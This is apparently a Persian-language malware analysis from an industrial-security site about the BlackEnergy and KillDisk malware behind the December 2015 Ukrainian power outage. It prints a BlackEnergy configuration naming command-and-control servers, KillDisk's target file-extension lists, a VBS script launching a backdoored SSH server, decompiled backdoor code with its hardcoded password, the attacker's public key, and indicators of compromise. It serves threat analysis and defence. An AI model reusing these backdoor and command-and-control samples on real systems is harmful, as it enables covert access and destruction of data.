خاموش شدن برق اکراین نتیجه مستقیم جاسوسی سایبری (BlackEnergy)

ICS Defender

فهرست

طبقه‌بندی سند: عادی انتشار محدود
کلیه حقوق مادی و معنوی این سند متعلق به ICSdefender.ir می‌باشد

۱- خاموش شدن برق اکراین نتیجه مستقیم جاسوسی سایبری

خاموشی شبکه توزیع برق اکراین در دسامبر گذشته نتیجه مستقیم جاسوسی سایبری بود، جاسوس‌های سایبری از یک بد افزار جدید که می‌تواند در سیستم‌های کنترل صنعتی اسکادا خرابکاری کند استفاده کرده‌اند. با توجه به تحقیقات شرکت امنیتی ESET این یک حمله سایبری جدا از سایر فیلدهای برق در اکراین مورد حمله قرار گرفته شده است در به صورت همزمان نیست. جاسوسان سایبری از بد افزار درب پشتی Black Energy (قابل اجرا بر روی ویندوز ۳۲ بیتی) برای دریافت درون سیستم و نصب مقادیر دستکاری شده از Kill Disk که سیستم‌های نفوذ شده را Unbootable می‌کند.

۱-۱- *Black Energy*

بد افزار تروجان Black Energy چندین ماژول و مؤلفه‌هایی قابل دانلود برای اجرای وظایف مشخص روی کامپیوتر هدف دارد. تروجان Black Energy در یک سری از حملات سایبری بر روی وب سایت‌های دولتی اکراین در سال ۲۰۱۴ استفاده شده بود.

۱-۲- *KillDisk*

در حملات سایبری اخیر Kill Disk دستکاری شده و با استفاده از کدهایی با تمرکز بر روی سیستم‌های کنترل اسکادا، انواع فایل‌های سیستم مدیریت شده، گونه های جدید سیستم را به صورت کامل غیر قابل استفاده می‌نماید. ارتقاء یافته است، با توجه به تحلیل ESET بد افزار Kill Disk در بسیاری از شرکت‌های برق و رسانه های خبری اکراین وجود دارد. در ۲۳ دسامبر ۲۰۱۵ بیش از نیمی از خانه های منطقه lvano-Frankivsk در اکراین (با جمعیتی حدود ۱,۴ میلیون نفر) برای چند ساعت برقشان قطع شد. بنا بر گروه خبری TSN، سبب اصلی این قطع برق حملات هکری به استفاده از ویروس بوده است. با توجه به گزارشات ESET این تنها حمله سایبری نبوده و دیگر شرکت‌های انرژی در همین زمان مورد حمله سایبری قرار گرفتند. علاوه بر این، آن‌ها دریافتند که این حملات از یک خانواده بد افزار با عنوان: BlackEnergy استفاده کرده‌اند. به ویژه BlackEnergy Backdoor این بد افزار از مؤلفه KillDisk برای Unbootable کردن کامپیوترهای هدف استفاده می‌کند. تروجان BlackEnergy در سال‌های اخیر برای مقاصد مختلفی استفاده شده است. در کنفرانس ابلاغیه ویروس در سال ۲۰۱۴، یک سری از حملات جاسوسی سایبری در مقابل اهداف ارزشمند دولتی در اکراین مشاهده شده مورد بحث قرار گرفته شده است. کاربران این بد افزار از مکانیسم‌های مختلفی برای توسعه این بد افزار به منظور نفوذ به سیستم قربانیانشان، از قبیل آسیب پذیری PowerPoint 0-day CVE-2014-4114 استفاده می‌کنند. در حالی که اهداف اصلی حملات سال ۲۰۱۴ در اقدامات جاسوسی، و کشف BlackEnergy در توانایی نفوذ به سیستم‌های اسکادا به صورت چشمگیر اشاره شده است.

در حملات اخیر در برابر شرکت‌های توزیع برق در اکراین، یک تروجان مخرب KillDisk بر روی سیستم‌هایی که قبل توسط BlackEnergy آلوده شده بودند، دانلود و اجرا شده است. درست است که خانواده بد افزار BlackEnergy یک پلاگین مخرب در ۲۰۱۴ داشته است. با این حال، برخلاف گونه های مختلف KillDisk اخیر مورد استفاده در حملات به شرکت‌های رسانه ای و صنعت توزیع برق، آن به عنوان یک مؤلفه خود نابودگر عمومی گسترش می‌یابد و کسی از اهداف آن مطلع نیست.

طبقه‌بندی سند: عادی انتشار محدود
کلیه حقوق مادی و معنوی این سند متعلق به ICSdefender.ir می‌باشد

۲– انقلاب BlackEnergy در سال ۲۰۱۵

در هنگام فعالیت، گونه های مختلف از BlackEnergy Lite اجازه می‌دهند یک بد افزار برای چک کردن شاخص‌های خاص با توجه به دارایی‌های کامپیوترهای آلوده مرتبط به هدف مورد نظر، اجرا شود. این امر باعث وارد کردن مؤلفه های BlackEnergy به داخل سیستم می‌شود. مکانیسم دقیقی از نفوذ توسط BlackEnergy در مقاله ای به وسیله F-Scure تشریح شده است. بد افزار BlackEnergy داده پیکربندی XML نهفته در قالب باینری و DLL را ذخیره می‌کند.

```
<?xml version="1.0" encoding="UTF-8"?>
<bkernel>
<servers>
<server>
<type>https</type>
<addr>https://88.198.25.92/fHKfvEhleQ/maincraft/derstatus.php</addr>
</server>
<server>
<type>https</type>
<addr>https://31.210.111.154/Microsoft/Update/KS081274.php</addr>
</server>
</servers>
<cmds>
</cmds>
<sleepfreq>600</sleepfreq>
<build_id>2015telsmi</build_id>
</bkernel>
```

شکل ۱. پیکربندی BlackEnergy نمونه استفاده شده در سال ۲۰۱۵

جدا از یک لیست سرورهای C&C، پیکربندی BlackEnergy شامل مقادیری با عنوان build_i می‌شود. این مقدار یک رشته متنی منحصر به فرد برای شناسایی نفوذهای شخصی یا تلاش‌هایی برای نفوذ به وسیله عملگر بد افزار BlackEnergy می‌باشد. ترکیب اسناد و شماره های استفاده شده می‌تواند برخی اطلاعات در مورد حمله و اهداف آن‌ها، را فاش کند. لیستی از مقادیر Build ID که در سال ۲۰۱۵ شناسایی شده رد زیر شنان داده شده است.

- 2015en
- khm10
- khelm
- 2015telsmi
- 2015ts
- 2015stb
- kiev_o
- brd2015
- 11131526kbp
- 02260517ee
- 03150618aaa
- 11131526trk

گمان می‌شود که برخی از این عبارت‌ها معانی خاصی دارند. برای مثال 2015telsmi می‌تواند شامل مخفف روسی SMI (Sredstva Massovoj Informacii)، 2015en می‌تواند به معنی انرژی، و همچنین مشاهده Kiev باشد.

طبقه‌بندی سند: عادی انتشار محدود
کلیه حقوق مادی و معنوی این سند متعلق به ICSdefender.ir می‌باشد

۲-۱- مؤلفه *KillDisk*

در سال ۲۰۱۴ گونه های مختلفی از تروجان BlackEnergy شامل یک پلاگین طراحی شده برای تخریب سیستم نفوذ شده، با نام dstr بود. در سال ۲۰۱۵ گروه BlackEnergy شروع به استفاده از یک مؤلفه مخرب جدید کردند که توسط ESET با عنوان گونه های تروجانWin32/KillDisk.NBB، Win32/KillDisk.NBC وWin32/KillDisk.NBD شناسایی شد. هدف اصلی این مؤلفه برای آسیب رساندن داده های ذخیره شده روی کامپیوتر است: این مؤلفه داده‌های تصادفی را بر روی اسناد قبلی می‌نویسد و سیستم عامل را unbootable می‌نماید. اولین مورد شناخته شده از جایی که مؤلفه KillDisk از BlackEnergy استفاده کرده بود، در نوامبر ۲۰۱۵ در [۱] آورده شده است. به عنوان مثال، خبرهایی از شرکت‌های رسانه ای اکراین که در سال ۲۰۱۵ مورد حمله قرار گرفتند [۱] ذکر شده است. گزارشات حاکی از آن است تعداد زیادی از ویدیوها و انواع اسناد در نتیجه این حملات نابود شدند. باید توجه شود که گونه Win32/KillDisk.NBB در برابر شرکت‌های رسانه ای استفاده شده بیشتر تمرکز بر تخریب انواع فایل‌ها و اسناد بوده است. یک لیست از فایل پسوند که مؤلفه سعی کرده است تا بر روی آن‌ها بنویسد و آن‌ها را حذف کند. لیست کامل شامل ۴۰۰۰ پسوند فایل است.

```
unicode 0, <a.ivf.ivr.ivs.izz.izzy.jmv.jss.jts.jtv.k3g.kmv.lrec.lrv.l>
unicode 0, <sf.lsx.lvix.m15.m1pg.m1v.m21.m21.m2a.m2t.m2ts.m2v.m4e.m4u>
unicode 0, <.m4v.m75.mani.meta.mgv.mj2.mjp.mjpg.mk3d.mkv.mmv.mnv.mob.>
unicode 0, <mod.moff.moi.moov.mov.movie.mp21.mp21.mp2v.mp4.mp4.infovi>
unicode 0, <d.mp4v.mpe.mpeg.mpeg1.mpeg4.mpf.mpg.mpg2.mpgindex.mpl.mpl>
unicode 0, <s.mpsub.mpv.mpv2.mqv.msdvd.msh.mswmm.mts.mtv.mvb.mvc.mvd.>
unicode 0, <mve.mvex.mvp.mvy.mxf.mxv.mys.ncor.nsv.nut.nuv.nvc.ogm.ogv>
unicode 0, <.ogx.orv.otrkey.par.pds.pgi.photoshow.piv.pjs.playlist.pl>
unicode 0, <proj.pmf.pmv.ppj.prel.pro.pro4dvd.pro5dvd.proqc.prproj.pr>
```

شکل ۲. بخشی از لیست پسوند های فایل مورد حمله قرار گرفته توسط KillDisk.NBB به منظور تخریب

مؤلفه KillDisk استفاده شده در حملات در برابر شرکت‌های انرژی در اکراین تقریباً دارای تفاوت‌هایی است. آنالیز نمونه نشان داده شده در تغییرات اصلی در جدیدترین نسخه‌ها عبارتند از:

هم اکنون مؤلفه یک خط فرمان مذاکره را می‌پذیرد، تا یک زمان تأخیر مشخص را وقتی که باید پایلوت تخریب فعال شود را تنظیم کند.

مؤلفه همچنین Log های ویندوز را حذف می‌کند: برنامه های کاربردی، امنیت، Setup، سیستم

مؤلفه تمرکز کمتری بر روی حذف داکیومنت ها دارد: فقط ۳۵ نوع پسوند فایل را حذف می‌کند

```
unicode 0, <.crt.bin.exe.db.dbf.pdf.djvu.doc.docx.xls.xlsx.jar.ppt.pp>
unicode 0, <tx.tib.vhd.iso.lib.mdb.accdb.sql.mdf.xml.rtf.ini.cfg.boot>
unicode 0, <.txt.rar.msi.zip.jpg.bmp.jpeg.tiff>,0
```

شکل ۳. یک لیست از پسوندهای فایل که به وسیله مؤلفه KillDisk جهت تخریب مورد حمله قرار گرفتند.

همچنین قادر به حذف فایل‌ها برای unbootable ساختن سیستم است.

زمان فعال شدن، این گونه از مؤلفه KillDisk جستجو می‌کند و دو پروسه غیر استاندارد با نام‌های زیر را متوقف می‌کند:

طبقه‌بندی سند: عادی انتشار محدود
کلیه حقوق مادی و معنوی این سند متعلق به ICSdefender.ir می‌باشد

- komut.exe
- sec_service.exe

در مورد Komut.exe اطلاعاتی وجود ندارد.

نام پروسه دوم مربوط به نرم افزار ASEM Ubiquity، یک نرم افزار پلتفرم است که اغلب در سیستم‌های کنترل صنعتی مورد استفاده قرار می‌گیرد، یا سریال ELTIMA با کانکتور اترنت است. در مورد پروسه پیدا شده، بد افزار نه تنها آن را متوقف نمیکند، بلکه فایل های قابل اجرا به همراه داده تصادفی باز نویسی می شود.

طبقه‌بندی سند: عادی انتشار محدود
کلیه حقوق مادی و معنوی این سند متعلق به ICSdefender.ir می‌باشد

۳- Backdoored SSH server

علاوه بر خانواده بد افزار هایی که ذکر شد، همچنین یک نمونه جالب از BlackEnergy استفاده شده شناسایی شد. در طی بررسی های انجام شده بر روی یک سرور مورد نفوذ واقع شده، در یک نظر اجمالی، یک برنامه کاربردی به صورت سرور SSH قانونی مشاهده شده است که Dropbear SSH نامیده می شود. با توجه به اجرای سرور SSH، مهاجمان یک فایل VBS را به همراه محتوای زیر می سازد:

```
Set WshShell = CreateObject("WScript.Shell")
WshShell.CurrentDirectory = "C:\WINDOWS\TEMP\Dropbear\"
WshShell.Run "dropbear.exe -r rsa -d dss -a -p 6789", 0, false
```

بر اساس شواهد، سرور SHH ارتباط پورت ۶۷۸۹ قبول خواهد است. بوسیله اجرای SSH روی سرور در یک شبکه مورد نفوذ واقع شده، جایی که مهاجم می خواهد حملات می تواند به شبکه برگردد. با این حال، برای برخی این دلیل کافی نیست. پس از تجزیه تحلیل جزئیات کشف شد که باینری سرور SSH در واقع شامل یک درب پشتی است.

```
1  void svr_auth_password()
2  {
3    char *password; // ebx@3
4    char v1; // [esp+1Ch] [ebp-Ch]@3
5
6    if ( (unsigned __int8)buf_getbool(session) )
7    {
8      send_msg_userauth_failure(0, 1);
9    }
10   else
11   {
12     password = (char *)buf_getstring(session, &v1);
13     if ( !strcmp(password, passDs5Bu9Te7) )
14       send_msg_userauth_success();
15     else
16       send_msg_userauth_failure(0, 1);
17     free(password);
18   }
19 }
```

شکل ۴. تابع مجاز درب پشتی در SSH سرور

همچنان که در شکل ۴ دیده می شود، نسخه Dropbear SSH اگر کلمه عبور passDs5Bu9Te7 وارد شده باشد، کاربر معتبر خواهد بود. موقعیت یکسان برای اعتبار به وسیله زوج کلید، سرور شامل یک پیش تعیین تعریف شده کلید عمومی ثابت و آن اجازه اعتبار فقط اگر یک کلید مخصوص استفاده شده است.

```
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAsrGnWG3XPW4tO8tRLhF+XQyuM5ZcLl9tIsnlMyIUXwp
tcU29hGpzMWVmbAy+18EEEXKtyXIlxOKqp7CWgEJWWxjsvXKB66Gp/sVcizX+qbV2P0PfVMRwZ144Ui
0ffrpGxWMOnp7rrByANQSPdGtJlQ/yqqFFgiM2u7ilLsREQHSGsV6L1b8krnf0BrcwQ08MD3q7tNq3H
3FEt0LPithBiCpRTuA9emsowt3gtVo745Qt1GUChYLA9GilmVmBO49HAnceZA9bVFA58Keq3Jy5W1DU
v3HoWJkWBHkUn2IH1LSKurVr/xjNEi9Hez7uQP9j44xk/V/kA9Kh4E3czOCDxQ== rsa-key-201311
```

شکل ۵. کلید عمومی RSA نهان در سرور SSH

شرکت امنیتی ESET این تهدید را به عنوان یک تروجان *Win32/SSHBearDoor.A* کشف کرده است.

طبقه‌بندی سند: عادی انتشار محدود
کلیه حقوق مادی و معنوی این سند متعلق به ICSdefender.ir می‌باشد

۴- شناسایی مؤلفه ها (IoC)

آدرس های IP از BlackEnergy C2-servers عبارتند از:

```
5.149.254.114
5.9.32.230
31.210.111.154
88.198.25.92
146.0.74.7
188.40.8.72
```

XLS document with malicious macro SHA-1:
```
AA67CA4FB712374F5301D1D2BAB0AC66107A4DF1
```

BlackEnergy Lite dropper SHA-1:
```
4C424D5C8CFEDF8D2164B9F833F7C631F94C5A4C
```

BlackEnergy Big dropper SHA-1:
```
896FCACFF6310BBE5335677E99E4C3D370F73D96
```

BlackEnergy drivers SHA-1:
```
069163E1FB606C6178E23066E0AC7B7F0E18506B
0B4BE96ADA3B54453BD37130087618EA90168D72
1A716BF5532C13FA0DC407D00ACDC4A457FA87CD
1A86F7EF10849DA7D36CA27D0C9B1D686768E177
1CBE4E22B034EE8EA8567E3F8EB9426B30D4AFFE
20901CC767055F29CA3B676550164A66F85E2A42
2C1260FD5CEAEF3B5CB11D702EDC4CDD1610C2ED
2D805BCA41AA0EB1FC7EC3BD944EFD7DBA686AE1
4BC2BBD1809C8B66EECD7C28AC319B948577DE7B
502BD7662A553397BBDCFA27B585D740A20C49FC
672F5F332A6303080D807200A7F258C8155C54AF
84248BC0AC1F2F42A41CFFFA70B21B347DDC70E9
A427B264C1BD2712D1178912753BAC051A7A2F6C
A9ACA6F541555619159640D3EBC570CDCDCE0A0D
B05E577E002C510E7AB11B996A1CD8FE8FDADA0C
BD87CF5B66E36506F1D6774FD40C2C92A196E278
BE319672A87D0DD1F055AD1221B6FFD8C226A6E2
C7E919622D6D8EA2491ED392A0F8457E4483EAE9
CD07036416B3A344A34F4571CE6A1DF3CBB5783F
D91E6BB091551E773B3933BE5985F91711D6AC3B
E1C2B28E6A35AEADB508C60A9D09AB7B1041AFB8
E40F0D402FDCBA6DD7467C1366D040B02A44628C
E5A2204F085C07250DA07D71CB4E48769328D7DC
```

KillDisk-components SHA-1:
```
16F44FAC7E8BC94ECCD7AD9692E6665EF540EEC4
8AD6F88C5813C2B4CD7ABAB1D6C056D95D6AC569
6D6BA221DA5B1AE1E910BBEAA07BD44AFF26A7C0
F3E41EB94C4D72A98CD743BBB02D248F510AD925
```


طبقه‌بندی سند: عادی انتشار محدود
کلیه حقوق مادی و معنوی این سند متعلق به ICSdefender.ir می‌باشد

VBS/Agent.AD trojan SHA-1:
72D0B326410E1D0705281FDE83CB7C33C67BC8CA

Win32/SSHBearDoor.A trojan SHA-1:
166D71C63D0EB609C4F77499112965DB7D9A51BB

طبقه‌بندی سند: عادی انتشار محدود
کلیه حقوق مادی و معنوی این سند متعلق به ICSdefender.ir می‌باشد

۵- مراجع

[1]http://www.welivesecurity.com/2016/01/04/blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry
[2]/http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
[3]http://roozafarin.com

طبقه‌بندی سند: عادی انتشار محدود
کلیه حقوق مادی و معنوی این سند متعلق به ICSdefender.ir می‌باشد